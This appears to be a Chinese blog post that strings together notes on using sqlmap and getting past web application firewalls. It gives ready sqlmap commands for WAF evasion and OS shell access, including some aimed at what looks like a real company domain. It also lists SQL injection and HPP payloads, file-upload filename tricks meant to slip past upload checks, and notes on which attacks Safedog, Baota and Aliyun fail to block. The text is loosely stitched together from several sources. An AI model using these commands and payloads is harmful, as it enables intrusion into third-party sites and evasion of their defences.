
有两种方法来进行post注入,一种是使用--data参数,将post的key和value用类似GET方式来提交。二是使用-r参数,sqlmap读取用户抓到的POST请求包,来进行POST注入检测。
查看payload
之前一直是加本地代理,然后用burpsuit来看sqlmap的payload,到现在才发现用-v参数就可以实现。一直认为-v实现的只是控制警告,debug信息级别。实际上使用-v 3就可以显示注入的payload,4,5,6还可以显示HTTP请求,HTTP响应头和页面。
使用google搜索
sqlmap可以测试google搜索结果中的sql注入,很强大的功能吧。使用方法是参数-g。不过感觉实际使用中这个用的还是很少的。
请求延时
在注入过程中请求太频繁的话可能会被防火墙拦截,这时候--delay参数就起作用了。可以设定两次HTTP请求间的延时。有的web程序会在多次错误访问后屏蔽所有请求,这样就导致之后所有的测试无法进行,绕过这个策略可以使用--safe-url,每隔一段时间去访问一个正常的页面。
伪静态页面
有些web服务器进行了url rewrite或者网站是伪静态的,无法直接提供测试参数,这样子可以使用*来代替要测试的参数。
执行系统命令
当数据库支持,并且当前用户有权限的时候,可以执行系统命令,使用--os-cmd或者--os-shell,具体的讲,当可以执行多语句的时候,会尝试用UDF(MySQL,PostgrepSQL)或者xp_cmdshell(MSSQL)来执行系统命令。不能执行多语句时,仍然会尝试创建一个webshell来执行语句,这时候就需要web的绝对路径了。总体来说,成功率偏低,不过个人也有成功的经验~
测试等级
sqlmap使用--level参数来进行不同全面性的测试,默认为1,不同的参数影响了使用哪些payload,2时会进行cookie注入检测,3时会进行useragent检测。
1、速度流量问题2、工具的指纹被识别
3、工具的检测Poc或Payload
1、SQL注入&文件上传绕过
2、XSS跨站&其他漏洞绕过
3、HPP污染&垃圾数据&分块等
SQL注入 https://www.cnblogs.com/cute-puli/p/11146625.html
关键字替换
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 1
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 12
更换提交方式:
POST id=-1 union select 1,2,3--+
模拟文件上传 传递数据
分块传输:更改数据请求格式
https://github.com/c0ny1/chunked-coding-converter
HPP参数污染:id=1/* &id=-1%20union%20select%201,2,3%23 /
文件上传:换行解析&垃圾溢出&%00干扰&=符号干扰&参数模拟
filename=a.php
filename="a.php
filename="a.php%00"
垃圾数据filename="a.php"
无限filenamefilename="a.php"
filename=="a.php"
filename="name='uploadfile.php"
filename="Content-Disposition: form-data.php"
filename=="a.ph
p"
python sqlmap.py -u " http://test.xiaodi8.com/pikachu/vul/sqli/sqli_str.php?name=*&submit=%E6%9F%A5%E8%AF%A2 " --random-agent --tamper= rdog.py --proxy=" http://tps118.kdlapi.com:15818 "
格式替换
https://github.com/s0md3v/XSStrike
python xsstrike.py -u " http://test.xiaodi8.com/pikachu/vul/xss/xss_reflected_get.php?message=1&submit=submit " --proxy
txt= y)&submit=%E6%8F%90%E4%BA%A4
文件包含:没什么好说的就这几种
..\ ..../ ...\等
安全狗:
注入 xss 文件上传拦截
rce 文件包含 等其他不拦截
宝塔:
注入 上传拦截
rce 文件包含 xss等其他不拦截
其中拦截的是关键字
aliyun
拦截的CC速度 和 后门 信息收集和权限维持阶段拦截
漏洞利用 他不拦截 默认的版本(升级版本没测试)
WAF PHP环境 JAVA不支持
0x00 前言现在的网络环境往往是WAF/IPS/IDS保护着Web 服务器等等,这种保护措施往往会过滤挡住我们的SQL注入查询链接,甚至封锁我们的主机IP,所以这个时候,我们就要考虑怎样进行绕过,达到注入的目标。因为现在WAF/IPS/IDS都把sqlmap 列入黑名单了,呵呵!但是本文基于sqlmap 进行绕过注入测试,介绍至今仍然实用有效的技巧,以下策略在特定的环境能够成功绕过,具体是否绕过,请仔细查看输出的信息。
0x01 确认WAF
首先我们判断该Web 服务器是否被WAF/IPS/IDS保护着。这点很容易实现,因为我们在漏扫或者使用专门工具来检测是否有WAF,这个检测,在nmap 的NSE,或者WVS的策略或者APPSCAN的策略中都有,我们可以利用这些来判断。在此我们,也介绍使用sqlmap 进行检测是否有WAF/IPS/IDS
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --identify-waf#首选
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --check-waf#备选
0x02 使用参数进行绕过
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2 #使用任意浏览器进行绕过,尤其是在WAF配置不当的时候
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hpp -v 3#使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --time-sec=60 #使用长的延时来避免触发WAF的机制,这方式比较耗时
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --proxy=211.211.211.211:8080 --proxy-cred=211:985#使用代理进行注入
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)